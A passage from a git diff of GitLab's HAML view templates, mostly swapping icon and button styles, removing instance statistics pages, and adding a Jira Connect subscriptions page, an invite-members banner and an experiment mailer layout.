+ %button.btn.gl-button.js-settings-toggle{ type: 'button' }
= expanded ? _('Collapse') : _('Expand')
%p
= _("Customize your pipeline configuration.")
@@ -28,7 +28,7 @@
.settings-header
%h4
= _('Runners')
- %button.btn.btn-default.js-settings-toggle{ type: "button" }
+ %button.btn.gl-button.btn-default.js-settings-toggle{ type: "button" }
= expanded ? _('Collapse') : _('Expand')
%p
= _("Runners are processes that pick up and execute jobs for GitLab. Here you can register and see your Runners for this project.")
@@ -40,7 +40,7 @@
.settings-header
%h4
= _('Auto DevOps')
- %button.btn.btn-default.js-settings-toggle{ type: "button" }
+ %button.btn.gl-button.btn-default.js-settings-toggle{ type: "button" }
= expanded ? _('Collapse') : _('Expand')
%p
- auto_devops_url = help_page_path('topics/autodevops/index')
diff --git a/app/views/groups/settings/integrations/index.html.haml b/app/views/groups/settings/integrations/index.html.haml
index 96bd6d69a96..f62eb17d236 100644
--- a/app/views/groups/settings/integrations/index.html.haml
+++ b/app/views/groups/settings/integrations/index.html.haml
@@ -5,5 +5,5 @@
%h4= s_('GroupSettings|Apply integration settings to all Projects')
%p
= s_('GroupSettings|Integrations configured here will automatically apply to all projects in this group.')
- = link_to _('Learn more'), '#'
+ = link_to _('Learn more'), integrations_help_page_path, target: '_blank', rel: 'noopener noreferrer'
= render 'shared/integrations/index', integrations: @integrations
diff --git a/app/views/groups/show.html.haml b/app/views/groups/show.html.haml
index 6ad864121d7..ec4ab603d22 100644
--- a/app/views/groups/show.html.haml
+++ b/app/views/groups/show.html.haml
@@ -2,48 +2,55 @@
- page_title _("Groups")
- @content_class = "limit-container-width" unless fluid_layout
+- if show_invite_banner?(@group)
+ = content_for :group_invite_members_banner do
+ .container-fluid.container-limited{ class: "gl-pb-2! gl-pt-6! #{@content_class}" }
+ .js-group-invite-members-banner{ data: { svg_path: image_path('illustrations/merge_requests.svg'),
+ is_dismissed_key: "invite_#{@group.id}_#{current_user.id}",
+ track_label: 'invite_members_banner',
+ invite_members_path: group_group_members_path(@group) } }
+
= content_for :meta_tags do
= auto_discovery_link_tag(:atom, group_url(@group, rss_url_options), title: "#{@group.name} activity")
= render partial: 'flash_messages'
-%div{ class: [("limit-container-width" unless fluid_layout)] }
- = render_if_exists 'trials/banner', namespace: @group
+= render_if_exists 'trials/banner', namespace: @group
- = render 'groups/home_panel'
+= render 'groups/home_panel'
- = render_if_exists 'groups/self_or_ancestor_marked_for_deletion_notice', group: @group
+= render_if_exists 'groups/self_or_ancestor_marked_for_deletion_notice', group: @group
- = render_if_exists 'groups/group_activity_analytics', group: @group
+= render_if_exists 'groups/group_activity_analytics', group: @group
- .groups-listing{ data: { endpoints: { default: group_children_path(@group, format: :json), shared: group_shared_projects_path(@group, format: :json) } } }
- .top-area.group-nav-container.justify-content-between
- .scrolling-tabs-container.inner-page-scroll-tabs
- .fade-left= sprite_icon('chevron-lg-left', size: 12)
- .fade-right= sprite_icon('chevron-lg-right', size: 12)
- %ul.nav-links.scrolling-tabs.mobile-separator.nav.nav-tabs
- %li.js-subgroups_and_projects-tab
- = link_to group_path, data: { target: 'div#subgroups_and_projects', action: 'subgroups_and_projects', toggle: 'tab'} do
- = _("Subgroups and projects")
- %li.js-shared-tab
- = link_to group_shared_path, data: { target: 'div#shared', action: 'shared', toggle: 'tab'} do
- = _("Shared projects")
- %li.js-archived-tab
- = link_to group_archived_path, data: { target: 'div#archived', action: 'archived', toggle: 'tab'} do
- = _("Archived projects")
+.groups-listing{ data: { endpoints: { default: group_children_path(@group, format: :json), shared: group_shared_projects_path(@group, format: :json) } } }
+ .top-area.group-nav-container.justify-content-between
+ .scrolling-tabs-container.inner-page-scroll-tabs
+ .fade-left= sprite_icon('chevron-lg-left', size: 12)
+ .fade-right= sprite_icon('chevron-lg-right', size: 12)
+ %ul.nav-links.scrolling-tabs.mobile-separator.nav.nav-tabs
+ %li.js-subgroups_and_projects-tab
+ = link_to group_path, data: { target: 'div#subgroups_and_projects', action: 'subgroups_and_projects', toggle: 'tab'} do
+ = _("Subgroups and projects")
+ %li.js-shared-tab
+ = link_to group_shared_path, data: { target: 'div#shared', action: 'shared', toggle: 'tab'} do
+ = _("Shared projects")
+ %li.js-archived-tab
+ = link_to group_archived_path, data: { target: 'div#archived', action: 'archived', toggle: 'tab'} do
+ = _("Archived projects")
- .nav-controls.d-block.d-md-flex
- .group-search
- = render "shared/groups/search_form"
+ .nav-controls.d-block.d-md-flex
+ .group-search
+ = render "shared/groups/search_form"
- = render "shared/groups/dropdown", options_hash: subgroups_sort_options_hash
+ = render "shared/groups/dropdown", options_hash: subgroups_sort_options_hash
- .tab-content
- #subgroups_and_projects.tab-pane
- = render "subgroups_and_projects", group: @group
+ .tab-content
+ #subgroups_and_projects.tab-pane
+ = render "subgroups_and_projects", group: @group
- #shared.tab-pane
- = render "shared_projects", group: @group
+ #shared.tab-pane
+ = render "shared_projects", group: @group
- #archived.tab-pane
- = render "archived_projects", group: @group
+ #archived.tab-pane
+ = render "archived_projects", group: @group
diff --git a/app/views/help/_shortcuts.html.haml b/app/views/help/_shortcuts.html.haml
index 80df8581a9b..6f917e81fb0 100644
--- a/app/views/help/_shortcuts.html.haml
+++ b/app/views/help/_shortcuts.html.haml
@@ -40,6 +40,8 @@
%tr
%td.shortcut
%kbd s
+ \/
+ %kbd /
%td= _('Start search')
%tr
%td.shortcut
@@ -72,7 +74,7 @@
%tr
%td.shortcut
%kbd
- %i.fa.fa-arrow-up
+ = sprite_icon('arrow-up', size: 12)
%td= _('Edit your most recent comment in a thread (from an empty textarea)')
%tbody
%tr
@@ -89,28 +91,28 @@
%tr
%td.shortcut
%kbd
- %i.fa.fa-arrow-left
+ = sprite_icon('arrow-left', size: 12)
\/
%kbd h
%td= _('Scroll left')
%tr
%td.shortcut
%kbd
- %i.fa.fa-arrow-right
+ = sprite_icon('arrow-right', size: 12)
\/
%kbd l
%td= _('Scroll right')
%tr
%td.shortcut
%kbd
- %i.fa.fa-arrow-up
+ = sprite_icon('arrow-up', size: 12)
\/
%kbd k
%td= _('Scroll up')
%tr
%td.shortcut
%kbd
- %i.fa.fa-arrow-down
+ = sprite_icon('arrow-down', size: 12)
\/
%kbd j
%td= _('Scroll down')
@@ -118,14 +120,14 @@
%td.shortcut
%kbd
shift
- %i.fa.fa-arrow-up
+ = sprite_icon('arrow-up', size: 12)
\/ k
%td= _('Scroll to top')
%tr
%td.shortcut
%kbd
shift
- %i.fa.fa-arrow-down
+ = sprite_icon('arrow-down', size: 12)
\/ j
%td= _('Scroll to bottom')
.col-lg-4
@@ -229,12 +231,12 @@
%tr
%td.shortcut
%kbd
- %i.fa.fa-arrow-up
+ = sprite_icon('arrow-up', size: 12)
%td= _('Move selection up')
%tr
%td.shortcut
%kbd
- %i.fa.fa-arrow-down
+ = sprite_icon('arrow-down', size: 12)
%td= _('Move selection down')
%tr
%td.shortcut
diff --git a/app/views/import/_project_status.html.haml b/app/views/import/_project_status.html.haml
index 280bcbc1e63..b968db58d38 100644
--- a/app/views/import/_project_status.html.haml
+++ b/app/views/import/_project_status.html.haml
@@ -3,7 +3,7 @@
= icon('check')
= _('Done')
- when 'started'
- = icon("spinner spin")
+ = loading_icon
= _('Started')
- when 'failed'
= _('Failed')
diff --git a/app/views/import/fogbugz/new.html.haml b/app/views/import/fogbugz/new.html.haml
index 626080c284b..4daa769215f 100644
--- a/app/views/import/fogbugz/new.html.haml
+++ b/app/views/import/fogbugz/new.html.haml
@@ -1,7 +1,8 @@
- page_title _("FogBugz Import")
- header_title _("Projects"), root_path
-%h3.page-title
- %i.fa.fa-bug
+%h3.page-title.d-flex
+ .gl-display-flex.gl-align-items-center.gl-justify-content-center
+ = sprite_icon('bug', css_class: 'gl-mr-2')
= _('Import projects from FogBugz')
%hr
diff --git a/app/views/import/fogbugz/new_user_map.html.haml b/app/views/import/fogbugz/new_user_map.html.haml
index cdc53520e93..fb93a3eca0d 100644
--- a/app/views/import/fogbugz/new_user_map.html.haml
+++ b/app/views/import/fogbugz/new_user_map.html.haml
@@ -1,7 +1,8 @@
- page_title _('User map'), _('FogBugz import')
- header_title _("Projects"), root_path
-%h3.page-title
- %i.fa.fa-bug
+%h3.page-title.d-flex
+ .gl-display-flex.gl-align-items-center.gl-justify-content-center
+ = sprite_icon('bug', css_class: 'gl-mr-2')
= _('Import projects from FogBugz')
%hr
diff --git a/app/views/import/fogbugz/status.html.haml b/app/views/import/fogbugz/status.html.haml
index f201c0e83fe..e04a412e3bc 100644
--- a/app/views/import/fogbugz/status.html.haml
+++ b/app/views/import/fogbugz/status.html.haml
@@ -1,7 +1,8 @@
- page_title _("FogBugz import")
- header_title _("Projects"), root_path
-%h3.page-title
- %i.fa.fa-bug
+%h3.page-title.d-flex
+ .gl-display-flex.gl-align-items-center.gl-justify-content-center
+ = sprite_icon('bug', css_class: 'gl-mr-2')
= _('Import projects from FogBugz')
%p.light
diff --git a/app/views/import/google_code/status.html.haml b/app/views/import/google_code/status.html.haml
index 8d8754e1069..22984d59afe 100644
--- a/app/views/import/google_code/status.html.haml
+++ b/app/views/import/google_code/status.html.haml
@@ -15,11 +15,11 @@
- if @incompatible_repos.any?
= button_tag class: "btn btn-import btn-success js-import-all" do
= _("Import all compatible projects")
- = icon("spinner spin", class: "loading-icon")
+ = loading_icon(css_class: 'loading-icon')
- else
= button_tag class: "btn btn-import btn-success js-import-all" do
= _("Import all projects")
- = icon("spinner spin", class: "loading-icon")
+ = loading_icon(css_class: 'loading-icon')
.table-responsive
%table.table.import-jobs
@@ -45,7 +45,7 @@
%i.fa.fa-check
= _("done")
- when 'started'
- %i.fa.fa-spinner.fa-spin
+ = loading_icon
= _("started")
- else
= project.human_import_status_name
@@ -59,7 +59,7 @@
%td.import-actions.job-status
= button_tag class: "btn btn-import js-add-to-import" do
= _("Import")
- = icon("spinner spin", class: "loading-icon")
+ = loading_icon(css_class: 'loading-icon')
- @incompatible_repos.each do |repo|
%tr{ id: "repo_#{repo.id}" }
%td
diff --git a/app/views/import/manifest/_form.html.haml b/app/views/import/manifest/_form.html.haml
index 3a5b5924c6a..2ee964974c3 100644
--- a/app/views/import/manifest/_form.html.haml
+++ b/app/views/import/manifest/_form.html.haml
@@ -16,7 +16,7 @@
= file_field_tag :manifest, class: 'form-control-file w-auto', required: true
.form-text.text-muted
= _('Import multiple repositories by uploading a manifest file.')
- = link_to icon('question-circle'), help_page_path('user/project/import/manifest')
+ = link_to sprite_icon('question-o'), help_page_path('user/project/import/manifest')
.gl-mb-3
= submit_tag _('List available repositories'), class: 'btn btn-success'
diff --git a/app/views/instance_statistics/cohorts/_cohorts_table.html.haml b/app/views/instance_statistics/cohorts/_cohorts_table.html.haml
deleted file mode 100644
index d4defd3f849..00000000000
--- a/app/views/instance_statistics/cohorts/_cohorts_table.html.haml
+++ /dev/null
@@ -1,35 +0,0 @@
-- number_of_data_columns = @cohorts[:months_included] - 1
-.bs-callout.clearfix
- %p
- = s_("Cohorts|User cohorts are shown for the last %{months_included} months. Only users with activity are counted in the 'New users' column; inactive users are counted separately.") % { months_included: @cohorts[:months_included] }
- = link_to icon('question-circle'), help_page_path('user/instance_statistics/user_cohorts', anchor: 'cohorts'), title: 'About this feature', target: '_blank'
-
-.table-holder.d-xl-table
- %table.table
- %thead
- %tr
- %th.border-right.pt-4{ colspan: 3 }
- %th.font-weight-bold.pt-4{ colspan: number_of_data_columns }
- = s_("Cohorts|Returning users")
- %tr
- %th.border-top-0
- = s_("Cohorts|Registration month")
- %th.border-top-0
- = s_("Cohorts|Inactive users")
- %th.border-top-0.border-right
- = s_("Cohorts|New users")
- - number_of_data_columns.times do |i|
- %th.border-top-0
- = s_("Cohorts|Month %{month_index}") % { month_index: i + 1 }
- %tbody
- - @cohorts[:cohorts].each do |cohort|
- %tr
- %td= cohort[:registration_month]
- %td= cohort[:inactive]
- %td.border-right= cohort[:total]
- - cohort[:activity_months].each do |activity_month|
- %td
- - next if cohort[:total] == '0'
- = activity_month[:percentage]
- %br
- = activity_month[:total]
diff --git a/app/views/instance_statistics/cohorts/index.html.haml b/app/views/instance_statistics/cohorts/index.html.haml
deleted file mode 100644
index a038246bd53..00000000000
--- a/app/views/instance_statistics/cohorts/index.html.haml
+++ /dev/null
@@ -1,15 +0,0 @@
-- breadcrumb_title _("Cohorts")
-- page_title _("Cohorts")
-
-- if @cohorts
- = render 'cohorts_table'
-- else
- .bs-callout.bs-callout-warning.clearfix
- %p
- - usage_ping_path = help_page_path('development/telemetry/usage_ping')
- - usage_ping_link_start = '<a href="%{url}" target="_blank" rel="noopener noreferrer">'.html_safe % { url: usage_ping_path }
- = s_('User Cohorts are only shown when the %{usage_ping_link_start}usage ping%{usage_ping_link_end} is enabled.').html_safe % { usage_ping_link_start: usage_ping_link_start, usage_ping_link_end: '</a>'.html_safe }
- - if current_user.admin?
- - application_settings_path = metrics_and_profiling_admin_application_settings_path(anchor: 'js-usage-settings')
- - application_settings_link_start = '<a href="%{url}" target="_blank" rel="noopener noreferrer">'.html_safe % { url: application_settings_path }
- = s_('To enable it and see User Cohorts, visit %{application_settings_link_start}application settings%{application_settings_link_end}.').html_safe % { application_settings_link_start: application_settings_link_start, application_settings_link_end: '</a>'.html_safe }
diff --git a/app/views/instance_statistics/dev_ops_score/_callout.html.haml b/app/views/instance_statistics/dev_ops_score/_callout.html.haml
deleted file mode 100644
index 31ae7721f5f..00000000000
--- a/app/views/instance_statistics/dev_ops_score/_callout.html.haml
+++ /dev/null
@@ -1,13 +0,0 @@
-.gl-mt-3
-.user-callout{ data: { uid: 'dev_ops_score_intro_callout_dismissed' } }
- .bordered-box.landing.content-block
- %button.btn.btn-default.close.js-close-callout{ type: 'button',
- 'aria-label' => _('Dismiss DevOps Score introduction') }
- = icon('times', class: 'dismiss-icon', 'aria-hidden' => 'true')
- .user-callout-copy
- %h4
- = _('Introducing Your DevOps Score')
- %p
- = _('Your DevOps Score gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers.')
- .svg-container.devops
- = custom_icon('dev_ops_score_overview')
diff --git a/app/views/instance_statistics/dev_ops_score/_disabled.html.haml b/app/views/instance_statistics/dev_ops_score/_disabled.html.haml
deleted file mode 100644
index bd808218f75..00000000000
--- a/app/views/instance_statistics/dev_ops_score/_disabled.html.haml
+++ /dev/null
@@ -1,14 +0,0 @@
-.container.devops-empty
- .col-sm-12.justify-content-center.text-center
- = custom_icon('dev_ops_score_no_index')
- %h4= _('Usage ping is not enabled')
- - if !current_user.admin?
- %p
- - usage_ping_path = help_page_path('development/telemetry/usage_ping')
- - usage_ping_link_start = '<a href="%{url}" target="_blank" rel="noopener noreferrer">'.html_safe % { url: usage_ping_path }
- = s_('In order to enable instance-level analytics, please ask an admin to enable %{usage_ping_link_start}usage ping%{usage_ping_link_end}.').html_safe % { usage_ping_link_start: usage_ping_link_start, usage_ping_link_end: '</a>'.html_safe }
- - if current_user.admin?
- %p
- = _('Enable usage ping to get an overview of how you are using GitLab from a feature perspective.')
- - if current_user.admin?
- = link_to _('Enable usage ping'), metrics_and_profiling_admin_application_settings_path(anchor: 'js-usage-settings'), class: 'btn btn-primary'
diff --git a/app/views/instance_statistics/dev_ops_score/_no_data.html.haml b/app/views/instance_statistics/dev_ops_score/_no_data.html.haml
deleted file mode 100644
index 54598244039..00000000000
--- a/app/views/instance_statistics/dev_ops_score/_no_data.html.haml
+++ /dev/null
@@ -1,7 +0,0 @@
-.container.devops-empty
- .col-sm-12.justify-content-center.text-center
- = custom_icon('dev_ops_score_no_data')
- %h4= _('Data is still calculating...')
- %p
- = _('In order to gather accurate feature usage data, it can take 1 to 2 weeks to see your index.')
- = link_to _('Learn more'), help_page_path('user/instance_statistics/dev_ops_score'), target: '_blank'
diff --git a/app/views/instance_statistics/dev_ops_score/index.html.haml b/app/views/instance_statistics/dev_ops_score/index.html.haml
deleted file mode 100644
index 215624d27ce..00000000000
--- a/app/views/instance_statistics/dev_ops_score/index.html.haml
+++ /dev/null
@@ -1,33 +0,0 @@
-- page_title _('DevOps Score')
-- usage_ping_enabled = Gitlab::CurrentSettings.usage_ping_enabled
-
-.container
- - if usage_ping_enabled && show_callout?('dev_ops_score_intro_callout_dismissed')
- = render 'callout'
-
- .gl-mt-3
- - if !usage_ping_enabled
- = render 'disabled'
- - elsif @metric.blank?
- = render 'no_data'
- - else
- .devops
- .devops-header
- %h2.devops-header-title{ class: "devops-#{score_level(@metric.average_percentage_score)}-score" }
- = number_to_percentage(@metric.average_percentage_score, precision: 1)
- .devops-header-subtitle
- = _('index')
- %br
- = _('score')
- = link_to icon('question-circle', 'aria-hidden' => 'true'), help_page_path('user/instance_statistics/dev_ops_score')
-
- .devops-cards.board-card-container
- - @metric.cards.each do |card|
- = render 'card', card: card
-
- .devops-steps.d-none.d-lg-block.d-xl-block
- - @metric.idea_to_production_steps.each_with_index do |step, index|
- .devops-step{ class: "devops-#{score_level(step.percentage_score)}-score" }
- = custom_icon("i2p_step_#{index + 1}")
- %h4.devops-step-title
- = step.title
diff --git a/app/views/invites/show.html.haml b/app/views/invites/show.html.haml
index 283683511d7..6b3996bee76 100644
--- a/app/views/invites/show.html.haml
+++ b/app/views/invites/show.html.haml
@@ -25,5 +25,5 @@
- if !member?
.actions
- = link_to _("Accept invitation"), accept_invite_url(@token), method: :post, class: "btn btn-success"
+ = link_to _("Accept invitation"), accept_invite_url(@token, new_user_invite: params[:new_user_invite]), method: :post, class: "btn btn-success"
= link_to _("Decline"), decline_invite_url(@token), method: :post, class: "btn btn-danger gl-ml-3"
diff --git a/app/views/jira_connect/subscriptions/index.html.haml b/app/views/jira_connect/subscriptions/index.html.haml
new file mode 100644
index 00000000000..f7ecfd09209
--- /dev/null
+++ b/app/views/jira_connect/subscriptions/index.html.haml
@@ -0,0 +1,28 @@
+%h1
+ GitLab for Jira Configuration
+
+%form#add-subscription-form.subscription-form{ action: jira_connect_subscriptions_path }
+ .ak-field-group
+ %label
+ Namespace
+
+ .ak-field-group.field-group-input
+ %input#namespace-input.ak-field-text{ type: 'text', required: true }
+ %button.ak-button.ak-button__appearance-primary{ type: 'submit' }
+ Link namespace to Jira
+
+%table.subscriptions
+ %thead
+ %tr
+ %th Namespace
+ %th Added
+ %th
+ %tbody
+ - @subscriptions.each do |subscription|
+ %tr
+ %td= subscription.namespace.full_path
+ %td= subscription.created_at
+ %td= link_to 'Remove', jira_connect_subscription_path(subscription), class: 'remove-subscription'
+
+= page_specific_javascript_tag('jira_connect.js')
+= stylesheet_link_tag 'page_bundles/jira_connect'
diff --git a/app/views/layouts/_flash.html.haml b/app/views/layouts/_flash.html.haml
index be3f2fd74e4..a0b57f8dd52 100644
--- a/app/views/layouts/_flash.html.haml
+++ b/app/views/layouts/_flash.html.haml
@@ -10,4 +10,4 @@
%span= value
- if %w(alert notice success).include?(key)
%div{ class: "close-icon-wrapper js-close-icon" }
- = sprite_icon('close', css_class: 'close-icon')
+ = sprite_icon('close', css_class: 'close-icon gl-vertical-align-baseline!')
diff --git a/app/views/layouts/_head.html.haml b/app/views/layouts/_head.html.haml
index b869298e99d..1c87452f0a3 100644
--- a/app/views/layouts/_head.html.haml
+++ b/app/views/layouts/_head.html.haml
@@ -1,6 +1,6 @@
- page_description brand_title unless page_description
--# Needs a redirect on the client side since it's using an anchor to distuingish
+-# Needs a redirect on the client side since it's using an anchor to distinguish
-# between sign in and registration. We need to inline the JS to not render
-# anything from this page beforehand.
-# Part of an experiment to build a new sign up flow. Will be removed again with
@@ -16,12 +16,7 @@
%head{ prefix: "og: http://ogp.me/ns#" }
%meta{ charset: "utf-8" }
- - if ActionController::Base.asset_host
- %link{ rel: 'dns-prefetch', href: ActionController::Base.asset_host }
- %link{ rel: 'preconnect', href: ActionController::Base.asset_host, crossorigin: '' }
-
- - if Gitlab::CurrentSettings.snowplow_enabled? && Gitlab::CurrentSettings.snowplow_collector_hostname
- %link{ rel: 'preconnect', href: Gitlab::CurrentSettings.snowplow_collector_hostname, crossorigin: '' }
+ = render 'layouts/loading_hints'
%meta{ 'http-equiv' => 'X-UA-Compatible', content: 'IE=edge' }
@@ -54,6 +49,8 @@
= stylesheet_link_tag_defer "application_dark"
- else
= stylesheet_link_tag_defer "application"
+ - unless use_startup_css?
+ = stylesheet_link_tag_defer "themes/theme_#{user_application_theme_name}"
= stylesheet_link_tag "disable_animations", media: "all" if Rails.env.test? || Gitlab.config.gitlab['disable_animations']
= stylesheet_link_tag_defer 'performance_bar' if performance_bar_enabled?
@@ -73,7 +70,8 @@
= yield :page_specific_javascripts
= webpack_controller_bundle_tags
- = webpack_bundle_tag "chrome_84_icon_fix" if browser.chrome?([">=84", "<85"]) || browser.edge?([">=84", "<85"])
+ = webpack_bundle_tag 'performance_bar' if performance_bar_enabled?
+ = webpack_bundle_tag "chrome_84_icon_fix" if browser.chrome?([">=84", "<84.0.4147.125"]) || browser.edge?([">=84", "<84.0.522.59"])
= yield :project_javascripts
diff --git a/app/views/layouts/_loading_hints.html.haml b/app/views/layouts/_loading_hints.html.haml
new file mode 100644
index 00000000000..0ef50d1b122
--- /dev/null
+++ b/app/views/layouts/_loading_hints.html.haml
@@ -0,0 +1,10 @@
+- if ActionController::Base.asset_host
+ %link{ rel: 'dns-prefetch', href: ActionController::Base.asset_host }
+ %link{ rel: 'preconnect', href: ActionController::Base.asset_host, crossorigin: '' }
+- if user_application_theme == 'gl-dark'
+ %link{ { rel: 'preload', href: stylesheet_url('application_dark'), as: 'style' }, ActionController::Base.asset_host ? { crossorigin: 'anonymous' } : {} }
+- else
+ %link{ { rel: 'preload', href: stylesheet_url('application'), as: 'style' }, ActionController::Base.asset_host ? { crossorigin: 'anonymous' } : {} }
+%link{ { rel: 'preload', href: stylesheet_url("highlight/themes/#{user_color_scheme}"), as: 'style' }, ActionController::Base.asset_host ? { crossorigin: 'anonymous' } : {} }
+- if Gitlab::CurrentSettings.snowplow_enabled? && Gitlab::CurrentSettings.snowplow_collector_hostname
+ %link{ rel: 'preconnect', href: Gitlab::CurrentSettings.snowplow_collector_hostname, crossorigin: '' }
diff --git a/app/views/layouts/_page.html.haml b/app/views/layouts/_page.html.haml
index 3a543fef292..5184bc93a81 100644
--- a/app/views/layouts/_page.html.haml
+++ b/app/views/layouts/_page.html.haml
@@ -3,9 +3,9 @@
= render "layouts/nav/sidebar/#{nav}"
.content-wrapper{ class: "#{@content_wrapper_class}" }
.mobile-overlay
+ = yield :group_invite_members_banner
.alert-wrapper
= render 'shared/outdated_browser'
- = render_if_exists 'layouts/header/users_over_license_banner'
= render_if_exists "layouts/header/licensed_user_count_threshold"
= render_if_exists "layouts/header/token_expiry_notification"
= render "layouts/broadcast"
diff --git a/app/views/layouts/_startup_css.haml b/app/views/layouts/_startup_css.haml
index 094038d39b0..ea05157ed19 100644
--- a/app/views/layouts/_startup_css.haml
+++ b/app/views/layouts/_startup_css.haml
@@ -1,4 +1,7 @@
- return unless use_startup_css?
+- startup_filename = current_path?("sessions#new") ? 'signin' : user_application_theme == 'gl-dark' ? 'dark' : 'general'
+
%style{ type: "text/css" }
- = Rails.application.assets_manifest.find_sources('startup/startup-general.css').first.to_s.html_safe
+ = Rails.application.assets_manifest.find_sources("themes/theme_#{user_application_theme_name}.css").first.to_s.html_safe
+ = Rails.application.assets_manifest.find_sources("startup/startup-#{startup_filename}.css").first.to_s.html_safe
diff --git a/app/views/layouts/_startup_css_activation.haml b/app/views/layouts/_startup_css_activation.haml
index 0b1cce06f47..022b9a695bc 100644
--- a/app/views/layouts/_startup_css_activation.haml
+++ b/app/views/layouts/_startup_css_activation.haml
@@ -3,5 +3,8 @@
= javascript_tag nonce: true do
:plain
document.querySelectorAll('link[media="print"]').forEach(linkTag => {
- linkTag.addEventListener('load', function() {this.media='all'}, {once: true});
+ linkTag.setAttribute('data-startupcss', 'loading');
+ const startupLinkLoadedEvent = new CustomEvent('CSSStartupLinkLoaded');
+ linkTag.addEventListener('load',function(){this.media='all';this.setAttribute('data-startupcss', 'loaded');document.dispatchEvent(startupLinkLoadedEvent);},{once: true});
})
+- return unless use_startup_css?
diff --git a/app/views/layouts/_startup_js.html.haml b/app/views/layouts/_startup_js.html.haml
index 3eb68df07c6..33c759b7a7c 100644
--- a/app/views/layouts/_startup_js.html.haml
+++ b/app/views/layouts/_startup_js.html.haml
@@ -6,8 +6,11 @@
gl.startup_calls = #{page_startup_api_calls.to_json};
if (gl.startup_calls && window.fetch) {
Object.keys(gl.startup_calls).forEach(apiCall => {
+ // fetch won’t send cookies in older browsers, unless you set the credentials init option.
+ // We set to `same-origin` which is default value in modern browsers.
+ // See https://github.com/whatwg/fetch/pull/585 for more information.
gl.startup_calls[apiCall] = {
- fetchCall: fetch(apiCall)
+ fetchCall: fetch(apiCall, { credentials: 'same-origin' })
};
});
}
diff --git a/app/views/layouts/experiment_mailer.html.haml b/app/views/layouts/experiment_mailer.html.haml
new file mode 100644
index 00000000000..5a342c400d6
--- /dev/null
+++ b/app/views/layouts/experiment_mailer.html.haml
@@ -0,0 +1,48 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+%html{ lang: "en" }
+ %head
+ %meta{ content: "text/html; charset=UTF-8", "http-equiv" => "Content-Type" }/
+ %meta{ content: "width=device-width, initial-scale=1", name: "viewport" }/
+ %meta{ content: "IE=edge", "http-equiv" => "X-UA-Compatible" }/
+ %title= message.subject
+
+ -# Avoid premailer processing of client-specific styles (@media tag not supported)
+ -# We need to inline the contents here because mail clients (e.g. iOS Mail, Outlook)
+ -# do not support linked stylesheets.
+ %style{ type: 'text/css', 'data-premailer': 'ignore' }
+ = asset_to_string('mailer_client_specific.css').html_safe
+
+ = stylesheet_link_tag 'mailer.css'
+ %body
+ %table#body{ border: "0", cellpadding: "0", cellspacing: "0" }
+ %tbody
+ %tr.line
+ %td
+ %tr.header
+ %td
+ = html_header_message
+ = header_logo
+ %tr
+ %td
+ %table.wrapper{ border: "0", cellpadding: "0", cellspacing: "0" }
+ %tbody
+ %tr
+ %td.wrapper-cell{ style: "padding: 0" }
+ %table.content{ border: "0", cellpadding: "0", cellspacing: "0" }
+ %tbody
+ = yield
+
+ = render_if_exists 'layouts/mailer/additional_text'
+
+ %tr.footer
+ %td{ style: "padding: 24px 0" }
+ %img{ alt: "GitLab", height: "33", width: "90", src: image_url('mailers/gitlab_footer_logo.gif') }
+ %p{ style: "color: #949ba5; max-width: 640px; margin: 0 auto; text-align: left; font-size: 12px;" }
+ GitLab is a complete DevOps platform, delivered as a single application, fundamentally changing the way
+ %br
+ Development, Security, and Ops teams collaborate.
+
+ = yield :additional_footer
+ %tr
+ %td.footer-message
+ = html_footer_message
diff --git a/app/views/layouts/header/_current_user_dropdown.html.haml b/app/views/layouts/header/_current_user_dropdown.html.haml
index 4c659241f99..dcc6cba8444 100644
--- a/app/views/layouts/header/_current_user_dropdown.html.haml
+++ b/app/views/layouts/header/_current_user_dropdown.html.haml
@@ -14,7 +14,11 @@
%li.divider
- if can?(current_user, :update_user_status, current_user)
%li
- .js-set-status-modal-trigger{ data: { has_status: current_user.status.present? ? 'true' : 'false' } }
+ %button.btn.menu-item.js-set-status-modal-trigger{ type: 'button' }
+ - if current_user.status.present?
+ = s_('SetStatusModal|Edit status')
+ - else
+ = s_('SetStatusModal|Set status')
- if current_user_menu?(:profile)
%li
= link_to s_("CurrentUser|Profile"), current_user, class: 'profile-link', data: { user: current_user.username }
@@ -35,6 +39,8 @@
= link_to _("Help"), help_path
%li.d-md-none
= link_to _("Support"), support_url
+ %li.d-md-none
+ = render 'shared/help_dropdown_forum_link'
%li.d-md-none
= link_to _("Submit feedback"), "https://about.gitlab.com/submit-feedback"
- if current_user_menu?(:help) || current_user_menu?(:settings) || current_user_menu?(:profile)
diff --git a/app/views/layouts/header/_default.html.haml b/app/views/layouts/header/_default.html.haml
index 56b70c463d0..845231238f6 100644
--- a/app/views/layouts/header/_default.html.haml
+++ b/app/views/layouts/header/_default.html.haml
@@ -66,7 +66,7 @@
track_property: 'navigation',
container: 'body' } do
= sprite_icon('todo-done')
- %span.badge.badge-pill.todos-count{ class: ('hidden' if todos_pending_count == 0) }
+ %span.badge.badge-pill.todos-count.js-todos-count{ class: ('hidden' if todos_pending_count == 0) }
= todos_count_format(todos_pending_count)
%li.nav-item.header-help.dropdown.d-none.d-md-block{ **tracking_attrs('main_navigation', 'click_question_mark_link', 'navigation') }
= link_to help_path, class: 'header-help-dropdown-toggle', data: { toggle: "dropdown" } do
@@ -87,7 +87,7 @@
- if has_impersonation_link
%li.nav-item.impersonation.ml-0
= link_to admin_impersonation_path, class: 'nav-link impersonation-btn', method: :delete, title: _('Stop impersonation'), aria: { label: _('Stop impersonation') }, data: { toggle: 'tooltip', placement: 'bottom', container: 'body', qa_selector: 'stop_impersonation_link' } do
- = icon('user-secret')
+ = sprite_icon('incognito', size: 18)
- if header_link?(:sign_in)
%li.nav-item
%div
@@ -100,7 +100,7 @@
= sprite_icon('close', size: 12, css_class: 'close-icon js-navbar-toggle-left')
- if ::Feature.enabled?(:whats_new_drawer)
- #whats-new-app
+ #whats-new-app{ data: { features: whats_new_most_recent_release_items } }
- if can?(current_user, :update_user_status, current_user)
.js-set-status-modal-wrapper{ data: { current_emoji: current_user.status.present? ? current_user.status.emoji : '', current_message: current_user.status.present? ? current_user.status.message : '' } }
diff --git a/app/views/layouts/header/_help_dropdown.html.haml b/app/views/layouts/header/_help_dropdown.html.haml
index ad4e0f1f4b2..2b6cbc1c0ef 100644
--- a/app/views/layouts/header/_help_dropdown.html.haml
+++ b/app/views/layouts/header/_help_dropdown.html.haml
